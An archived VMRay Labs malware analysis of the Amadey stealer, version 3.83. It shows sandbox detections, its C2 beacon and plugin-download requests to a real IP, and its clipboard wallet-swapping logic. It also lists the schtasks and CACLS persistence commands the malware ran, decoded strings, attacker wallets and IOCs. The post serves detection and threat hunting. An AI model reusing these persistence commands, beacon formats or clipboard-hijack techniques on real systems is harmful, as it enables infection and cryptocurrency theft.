

Amadey: New encoding with old tricks - VMRay

By VMRay Labs

Published: 2023-09-04 · Archived: 2026-04-05 16:36:33 UTC

Family Overview

Beginning November 2022 here at VMRay we noticed increased activity of the Amadey information stealer malware. Monitoring of the threat landscape over the past several months showed this trend in the malware activity continued and the family is active as we speak.

Our observations, together with public reports in the community, are showing that Amadey can be deployed alongside [SmokeLoader](#) and RedLine information stealer or be used to drop additional payloads to the system.

The main functionality of Amadey is to collect information about the infected host, steal data, and download malware if configured so. It continually sends information back to its C2 server, like what Anti-Virus software is installed on the system (if any), OS version, machine architecture, etc. More about this and further details are discussed in this blog post.

Amadey's Behavior Analysis

In this blog post one of the latest versions of Amadey, 3.83, is taken into the spotlight. Our Platform uses a dynamic analysis approach, meaning the submitted file is executed in a virtual environment, **where the activities of the sample are recorded and analyzed** to detect malicious behavior.

VMRay is using extensive logic behind the scenes to detect the various suspicious and malicious actions of the sample, we call those rules triggering on certain actions VTIs (VMRay Threat Identifiers). In the case of this sample, they reveal plenty of malicious behavior: from YARA matches to capturing clipboard data, network connection, task scheduling etc. (see Figure 1).

VMRay Threat Identifiers (40 rules, 167 matches)

Score	Category	Operation	Count	Classification
5/5	Extracted Configuration	Amadey configuration was extracted	1	Downloader
5/5	Extracted Configuration	RedLine configuration was extracted	1	Spyware
5/5	YARA	Malicious content matched by YARA rules	28	Downloader, Spyware
5/5	Discovery	Combination of other detections shows configuration discovery	1	-
4/5	Defense Evasion	Tries to disable antivirus software	4	-
4/5	System Modification	Modifies Windows Update configuration	1	-
3/5	Input Capture	Captures clipboard data	2	Spyware
3/5	System Modification	Disables a crucial system service	4	-
3/5	Defense Evasion	Tries to detect the presence of antivirus software	1	-
3/5	Defense Evasion	Tries to detect the presence of anti-spyware software	1	-
3/5	Defense Evasion	Tries to detect the presence of firewall software	1	-
3/5	Network Connection	Uses HTTP to upload a large amount of data.	2	-
2/5	Discovery	Queries a host's domain name	2	-
2/5	Anti Analysis	Delays execution	3	-
2/5	Hide Tracks	Deletes file after execution	14	-
2/5	Discovery	Executes WMI query	8	-
2/5	Discovery	Collects hardware properties	1	-
2/5	Discovery	Enumerates running processes	1	-
2/5	Execution	Sends control codes to a driver	1	-
2/5	Discovery	Queries OS version via WMI	1	-
2/5	Discovery	Searches for sensitive browser data	22	-
2/5	Discovery	Searches for sensitive mail data	1	-
2/5	Task Scheduling	Schedules task	1	-
2/5	Task Scheduling	Schedules task via schtasks	1	-
1/5	Discovery	Enumerates running processes	1	-
1/5	Hide Tracks	Creates process with hidden window	22	-
1/5	Mulex	Creates mulex	4	-
1/5	Persistence	Installs system startup script or application	6	-
1/5	Privilege Escalation	Enables process privilege	5	-
1/5	Discovery	Possibly does reconnaissance	2	-
1/5	Defense Evasion	Accesses volumes directly	1	-
1/5	Obfuscation	Reads from memory of another process	10	-
1/5	Network Connection	Connects to remote host	1	-
1/5	Network Connection	Downloads executable	3	Downloader
1/5	Network Connection	Tries to connect using an uncommon port	1	-
1/5	Execution	Executes dropped PE file	6	-
1/5	Obfuscation	Resolves API functions dynamically	2	-

In addition to the detections themselves, VTIs also provide additional details on the detection and what is observed. In Figure 2 below we can see the VTI for Network connection that indicates data upload. Additionally, the description of the VTI gives more detailed information like which process is related to the behavior, how much data is exfiltrated and what is the method used – in this case, processes number 2 and 49 upload data via a HTTP POST method.

3/5
Network Connection
Uses HTTP to upload a large amount of data.

- (Process #2) metado.exe uploads 13.504KB data using HTTP POST. ***
- (Process #49) metado.exe uploads 169.482KB data using HTTP POST. ***

- ▶ 2/5 Discovery
- ▶ 2/5 Anti Analysis
- ▶ 2/5 Hide Tracks

- Go to Behavior
- Go to Web Request
- Go to Process

- Queries a host's domain name
- Delays execution
- Deletes file after execution

Following the action menu by selecting “Go to Web Request” we can get much more detailed information about the web request (see Figure 3) with all the important context of the connection.

It can be seen that the sample is reaching out and posting data to the C2 server, as well as the download attempt of two additional DLLs – one of them, clip64.dll, available on the C2 server, and the other one, cred64.dll, is returning 404 (HTTP Not Found). Clip64.dll will be covered more deeply in a bit.

Method	URL	Response	Dest. IP	Dest. Port	Verdict
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
GET	http://77.91.68.62/wings/game/Plugins/cred64.dll	404	77.91.68.62	80	MALICIOUS
GET	http://77.91.68.62/wings/game/Plugins/clip64.dll	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS

Request	Response	Function Log (7)	PCAP Stream (2)

General Information	
Timestamp	40.378000
URL	http://77.91.68.62/wings/game/index.php
Original URL	http://77.91.68.62/wings/game/index.php
Version	1.1
Method	POST

Request Headers	
Content-Type	application/x-www-form-urlencoded
Host	77.91.68.62
Content-Length	94
Cache-Control	no-cache

In addition to this, if we look at the PCAP Streams tab, the beaconing of the sample to its C2 is shown in Figure 4:

Method	URL	Response	Dest. IP	Dest. Port	Verdict
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
GET	http://77.91.68.62/wings/game/Plugins/cred64.dll	404	77.91.68.62	80	MALICIOUS
GET	http://77.91.68.62/wings/game/Plugins/clip64.dll	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS
POST	http://77.91.68.62/wings/game/index.php	200	77.91.68.62	80	MALICIOUS

Request	Response	Function Log (7)	PCAP Stream (2)
Timestamp	Direction	Size	
41.148794	→	246 B	
41.189126	←	302 B	


```

50 4F 53 54 20 2F 77 69 6E 67 73 2F 67 61 60 65 2F
69 6E 64 65 78 2E 70 68 70 20 48 54 50 2F 31 2E
31 0D 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20
61 70 70 6C 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77
2D 66 6F 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 8D
0A 48 6F 73 74 3A 20 37 37 2E 39 31 2E 36 38 2E 36
32 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68
3A 20 39 34 0D 0A 43 61 63 68 65 2D 43 6F 6E 74 72
6F 6C 3A 20 6E 6F 2D 63 61 63 68 65 0D 0A 0D 0A 69
64 3D 32 31 39 34 34 32 32 33 34 32 32 26 76 73
7D 33 2E 38 33 26 73 64 3D 36 32 38 36 62 63 26 6F
73 3D 39 26 62 69 3D 31 26 61 72 3D 31 26 70 63 3D
51 39 49 41 54 52 48 50 52 48 26 75 6E 3D 68 45 65
63 66 4D 77 67 6A 26 64 6D 3D 26 61 76 3D 30 26 6C
76 3D 30 26 6F 67 3D 31
    
```



```

POST /wings/game
/index.php HTTP/
1.1 Content-Typ
e: application/x
-www-form-urlenc
oded Host: 77.9
1.68.62 Content
-Length: 94 Cac
he-Control: no-c
ache id=21944
2223422&vs=3.83&
sd=6286bc&os=9&b
i=1&ar=1&pc=Q9IA
TRKPRH&un=kEecfH
wgj&dm=&av=0&lv=
0&og=1
    
```

The screenshot is showing that the communication protocol and values used in the requests to the C2 remain the same even for version 3.83:

id=219442223422&vs=3.83&sd=6286bc&os=9&bi=1&ar=1&pc=Q9IATRKP

It's interesting to note that the "og" parameter has been observed only in later versions of the Amadey bot, but its purpose is still unknown.

Below is a list of values that can be passed to the "av" parameter.

Given all the information available to us, we can draw some conclusions about Amadey:

As aforementioned, the protocol and values representing different properties of the infected system remain the same as previous versions with the exception of the "og" parameter.

The countries where the C2 is hosted continues to be either Sweden or Russia.

The name of the executable being dropped on the system stays the same across the same version of Amadey – in our case for

version 3.83 it's metado.exe.

Two DLL files are mainly used – cred64.dll for stealing credentials and clip64.dll for getting clipboard data.

Enumeration of antivirus software installed on the infected machine (Figure 5).

Both samples and additional modules continue to be shipped with their PDB strings:

```

85207 [0176.392] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761270 | out: hHeap=0x720000) returned 1
85208 [0176.392] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85209 [0176.393] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x753218 | out: hHeap=0x720000) returned 1
85210 [0176.393] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85211 [0176.393] GetFileAttributesA (lpFileName="C:\\ProgramData\\AVAST Software" (normalized: "C:\\programdata\\avast software")) returned 0xffffffff
85212 [0176.393] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85213 [0176.393] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x2ff320 | out: lpBuffer="C:\\Users\\KRECFM-1\\AppData\\Local\\Temp\\" returned 0x25
85214 [0176.394] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x753218
85215 [0176.394] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85216 [0176.394] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761270
85217 [0176.394] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x7614f0
85218 [0176.394] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7614f0 | out: hHeap=0x720000) returned 1
85219 [0176.394] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761270 | out: hHeap=0x720000) returned 1
85220 [0176.395] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85221 [0176.395] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x753218 | out: hHeap=0x720000) returned 1
85222 [0176.395] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85223 [0176.395] GetFileAttributesA (lpFileName="C:\\ProgramData\\Avira" (normalized: "C:\\programdata\\avira")) returned 0xffffffff
85224 [0176.395] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85225 [0176.396] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85226 [0176.396] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761270
85227 [0176.396] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x7614f0
85228 [0176.397] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7614f0 | out: hHeap=0x720000) returned 1
85229 [0176.397] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761270 | out: hHeap=0x720000) returned 1
85230 [0176.398] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x2ff320 | out: lpBuffer="C:\\Users\\KRECFM-1\\AppData\\Local\\Temp\\" returned 0x25
85231 [0176.398] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x30) returned 0x753218
85232 [0176.398] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85233 [0176.398] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761270
85234 [0176.398] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x7614f0
85235 [0176.398] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7614f0 | out: hHeap=0x720000) returned 1
85236 [0176.398] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761270 | out: hHeap=0x720000) returned 1
85237 [0176.399] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85238 [0176.399] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85239 [0176.399] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x753218 | out: hHeap=0x720000) returned 1
85240 [0176.399] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85241 [0176.400] GetFileAttributesA (lpFileName="C:\\ProgramData\\Kaspersky Lab" (normalized: "C:\\programdata\\kaspersky lab")) returned 0xffffffff
85242 [0176.400] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85243 [0176.400] GetTempPathA (in: nBufferLength=0x104, lpBuffer=0x2ff320 | out: lpBuffer="C:\\Users\\KRECFM-1\\AppData\\Local\\Temp\\" returned 0x25
85244 [0176.400] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x30) returned 0x753218
85245 [0176.400] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85246 [0176.400] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761270
85247 [0176.400] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x7614f0
85248 [0176.401] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x7614f0 | out: hHeap=0x720000) returned 1
85249 [0176.401] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761270 | out: hHeap=0x720000) returned 1
85250 [0176.401] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85251 [0176.402] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x753218 | out: hHeap=0x720000) returned 1
85252 [0176.402] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85253 [0176.402] GetFileAttributesA (lpFileName="C:\\ProgramData\\ESet" (normalized: "C:\\programdata\\eset")) returned 0xffffffff
85254 [0176.403] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x761590 | out: hHeap=0x720000) returned 1
85255 [0176.403] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761590
85256 [0176.403] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0x20) returned 0x761270

```

Additional Modules

As pointed out earlier in this post, Amadey is still using two main modules for stealing data – cred64.dll and clip64.dll.

Although recently we haven't seen samples actually using the cred64.dll file, we can observe the C2 download attempt associated with this library.

For the analyzed binary the network call is resulting in a HTTP 404 status code, indicating the the file could not be found on the C2 server. For clip64.dll the situation is a bit different. We can see that the DLL is present on the C2 and downloaded successfully. Taking a short look into the library, there are a few interesting things to note:

1. With a high level of certainty, we can say that Amadey's modules follow the same encoding scheme for its string as the one used in the sample itself. This of course means we can extract the plain text values of the strings in the DLL the same way we do for the actual sample.
2. The encoded strings in clip64.dll are mainly cryptocurrency wallet addresses (Figure 6).

```

.rdata:10013C90 ; DATA XREF: sub_100011C0+A7o
.rdata:10013CA5 align 4
.rdata:10013CA8 a160cbe54f0b273 db '160cbe54f0b273951f758f9cee76bb0f',0
.rdata:10013CA8 ; DATA XREF: sub_10001000+2To
.rdata:10013CC9 align 4
.rdata:10013CCC a0hbzd1h1jczuy7 db '0hbzd1h1jczU7yL03MjbaLK6fLATpEKs50B6dnLa49CaIUdM37IU9Ya5',0
.rdata:10013CCC ; DATA XREF: sub_10001020+2To
.rdata:10013CCC ; sub_10001040+2To ...
.rdata:10013D05 align 4
.rdata:10013D08 aCc66pyosstwicib db 'CC66PYOsStWcIbyrDrAVOYtJSX dOVJ DO 6RDCURJRpULGXDIWvVYzG',0
.rdata:10013D08 ; DATA XREF: sub_10001080+2To
.rdata:10013D41 align 4
.rdata:10013D44 aJbg1d7vqh9017t db 'JBG1d7vQh9017TctMp1ISMLV2qAY04J5PiyKSKbjfIGF 9==',0
.rdata:10013D44 ; DATA XREF: sub_100010A0+2To
.rdata:10013D75 align 4
.rdata:10013D78 aHzysfqTffios8o db 'HzysfqTffIOS80fGK1FP05vUf41Me2d53BexT7fHWBgfv9==',0
.rdata:10013D78 ; DATA XREF: sub_100010C0+2To
.rdata:10013DA9 align 10h

```

After decoding some of the strings we get the following cryptocurrency wallet addresses:

Bitcoin

bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77

Ethereum

0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D

Litecoin

LdYspWr6nkQ3ZNNtSmba77u4frHDhji1Nv

Dogecoin

DBjzffi3umhLQbUGLROnQwZ4pjoKyNFahf

Monero

42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSjkUCc5bJyJ5hdKuu4324VJx8ACcDJJxg2NbRdWVcDyS87tyLikjV

Clipboard inspection is done via the Windows API calls **OpenClipboard** and **GetClipboardData** (Figure 7). If the sample detects that a crypto currency address is in the clipboard, the behavior changes and the victim’s address is replaced with the attacker’s one via **SetClipboardData**.

```

58320  [0053.850] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa118 | out: hHeap=0x490000) returned 1
58321  [0053.851] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa080 | out: hHeap=0x490000) returned 1
58322  [0053.851] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a9fe8 | out: hHeap=0x490000) returned 1
58323  [0053.851] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4a7e10 | out: hHeap=0x490000) returned 1
58324  [0053.852] OpenClipboard (hWndNewOwner=0x0) returned 1
58325  [0053.852] GetClipboardData (uFormat=0xd) returned 0x4a7df0
58326  [0053.853] GlobalLock (hMem=0x4a7df0) returned 0x4a7df0
58327  [0053.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hfaYpLkASnpXRTzeDBcCrgQR0MingNS", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33
58328  [0053.853] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x30) returned 0x4aa440
58329  [0053.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hfaYpLkASnpXRTzeDBcCrgQR0MingNS", cchWideChar=-1, lpMultiByteStr=0x4aa440, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hfaYpLkASnpXRTzeDBcCrgQR0MingNS", lpUsedDefaultChar=0x0) returned 33
58330  [0053.854] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x30) returned 0x4aa478
58331  [0053.854] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa440 | out: hHeap=0x490000) returned 1
58332  [0053.854] GlobalUnlock (hMem=0x4a7df0) returned 1
58333  [0053.854] CloseClipboard () returned 1
58334  [0053.854] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x20) returned 0x4a82b0
    
```

Persistence

The persistence mechanism hasn’t changed as well from previous versions and still uses scheduled task (Figure 8), and this is detected with a respective VTI (see Figure 1).

A great feature of the VMRay Platform is that whenever a persistence mechanism is detected, **a reboot of the analysis environment is scheduled so that the additional behavior after a restart can be inspected.**

Amadey adds a new startup item via a registry key called “User Shell Folders” which holds the path to the Amadey executable dropped into the temporary directory of the current user. With this Amadey is executed every time a user logs into the system.

Information	Value
ID	#3
File Name	c:\windows\syswow64\schtasks.exe
Command Line	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN metado.exe /TR "C:\Users\KEECFM-1\AppData\Local\Temp\9e2a16078\metado.exe" /F ***
Initial Working Directory	C:\Users\KEecfMwgj\Desktop\
Monitor	Start Time: 00:00:38, Reason: Child Process
Unmonitor	End Time: 00:00:42, Reason: Terminated
Monitor Duration	00:00:03
Return Code	0

OS Process Information

Extracted Function Strings (129)

Host Behavior

- COM (1)
- File (5)
- Module (9)
- System (5)
- User (1)

In addition to this, the old technique of editing the access rights with Cacls.exe used in previous versions remains the same as well. In Figure 9 we can see the sample first using the command:

CACLS "metado.exe" /P "kEecfMwgj:N" to remove any permissions for the user **kEecfMwgjand** then using the subsequent command:

CACLS "metado.exe" /P "kEecfMwgj:R" /E to change the access rights to read only, which prevents the file from being deleted.

CACLS "..\a9e2a16078" /P "kEecfMwgj:N" – The same operation as above is performed on the folder where the executable is copied to.

Information	Value
ID	#6
File Name	c:\windows\syswow64\cacls.exe
Command Line	CACLS "metado.exe" /P "kEecfMwgj:N" ***
Initial Working Directory	C:\Users\KEECFM-1\AppData\Local\Temp\9e2a16078\
Monitor	Start Time: 00:00:39, Reason: Child Process
Unmonitor	End Time: 00:00:40, Reason: Terminated
Monitor Duration	00:00:01
Return Code	0

OS Process Information

Information	Value
ID	#7
File Name	c:\windows\syswow64\cacls.exe
Command Line	CACLS "metado.exe" /P "kEecfMwgj:R" /E ***
Initial Working Directory	C:\Users\KEECFM-1\AppData\Local\Temp\9e2a16078\
Monitor	Start Time: 00:00:39, Reason: Child Process
Unmonitor	End Time: 00:00:40, Reason: Terminated
Monitor Duration	00:00:01
Return Code	0

OS Process Information

Information	Value
ID	#9
File Name	c:\windows\syswow64\cacls.exe
Command Line	CACLS "..\a9e2a16078" /P "kEecfMwgj:N" ***
Initial Working Directory	C:\Users\KEECFM-1\AppData\Local\Temp\9e2a16078\
Monitor	Start Time: 00:00:39, Reason: Child Process
Unmonitor	End Time: 00:00:42, Reason: Terminated
Monitor Duration	00:00:02
Return Code	0

OS Process Information

New String Encoding

Another interesting part of the newer versions of Amadey and may be the most relevant one, is the new encoding used for obfuscation. While around version 3.20 Amadey was using a simpler encoding technique (transforming the string to hex

representation) to obfuscate the strings in the sample and DLLs, with its latest version (around 3.60 and above) the encoding has changed and now on top of the old algorithm, some additional operations have been added that play with the length of the string and mapping to base64 base string.

A decoding routine had been developed in the end of 2022 by OALabs and it is still relevant until today. Interestingly, the updated algorithm is not used only in the samples, but transferred to the DLL modules as well.

Encoded String: LR0HQDfvJaR9RNbc8mcD8YSUNziebiKs5UEdL1Xs2cRqbwPe8nRt8YY7Kh0jTYYgQH==

Decoded String: SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce

Encoded String: Eq4vJRGoC cqLay=

Decoded String: 77[.]91[.]68[.]62

Encoded String: CU5q7kftAS d NKo6W9oVT o3Aml

Decoded String: /wings/game/index.php

Configuration Extractor

Based on our analysis, we have developed a configuration extractor which allows our customers to examine the configuration built into the executable. The extracted data consists of C2 IP address and the URL used for communication and data exfiltration, the encryption key (in Amadey’s case encoding, as the strings are not really encrypted), directory where additional modules are dropped, mutex and version of the malware. Information like this can be easily used to hunt for malicious traffic in the network and look for IOCs in general.

In Figure 10 below, we can see that besides Amadey configuration, RedLine config has also been extracted.

Malware Configurations			
Amadey			
Metadata	Key	Extracted Value	
Version	Value	3.83	
URL	Url	77.91.68.62/wings/game/index.php	
Mutex	Value	006700e5a2ab05704b8b0c589b88924d	
Path	Tags	Directory for stealing libraries	
	Path Is Dir	006700e5a2ab05 ✓	
Encryption Key	Key	MjlyYjY5YzUwMTc3OTIxNDZhZWJlNzQ1MTVmMGE3NDg=	
RedLine			

Conclusion

VMRay is constantly monitoring the threat landscape, identifying new techniques, and keeping an eye on the most relevant families. Detecting changes early allows us to investigate them, examine the new behavior of the threats, and be prepared to protect the assets of our customers.

Different features of our product are at the disposal of SOC teams, malware analysts, threat hunters, and other cyber security professionals. The detailed analysis provided by VMRay Platform, can give deep insights into the malware’s behavior. Our function log is keeping track of every relevant API call, shedding light on the analyzed samples’ actions.

We are constantly working to increase and improve our VTIs and YARA rules so no threat is left undetected.

References

- <https://asec.ahnlab.com/en/36634/>
- <https://research.openanalysis.net/cpp/stl/amadey/loader/config/2022/11/13/amadey.html>
- <https://blog.cyble.com/2023/01/25/the-rise-of-amadey-bot-a-growing-concern-for-internet-security/>
- <https://www.rewterz.com/articles/amadey-malware-analysis-report/IOCs>

IOCs

Analyzed Sample:

ecbcec33ca7e445570339dea41d5b52491681dfc4cadbccad3f82c37cf5cb903

C2

hxxp://77.91.68[.]62/wings/game/index.php

hxxp://77.91.124[.]31/new/foto135.exe

hxxp://77.91.124[.]31/new/fotod25.exe

hxxp://77.91.68[.]62/wings/game/Plugins/cred64.dll

hxxp://77.91.68[.]62/wings/game/Plugins/clip64.dll

Bitcoin Wallet Address:

bc1qslzv7hczpsatc8lq285gy38r4af0c3alsc4m77

Ethereum Wallet Address:

0x89E34Ee2016a5E5a97b5E9598C251D2a2746Ba0D

Litecoin Wallet Address:

LdYspWr6nkQ3ZNNtSmba77u4frHDhji1Nv

Dogecoin Wallet Address:

DBjzffi3umhLQbUGLROnQwZ4pjoKyNFahf

Monero Wallet Address:

42zbZM5ozb4iDSN7hxNnQ1DSAvEmGY3z2KvAYmMxSJkUCc5bJyJ5hdkUu4324VJx8ACcDJJXg2NbRdWVcDyS87tyLikV\

Source: <https://www.vmrays.com/cyber-security-blog/amadey-new-encoding-with-old-tricks/>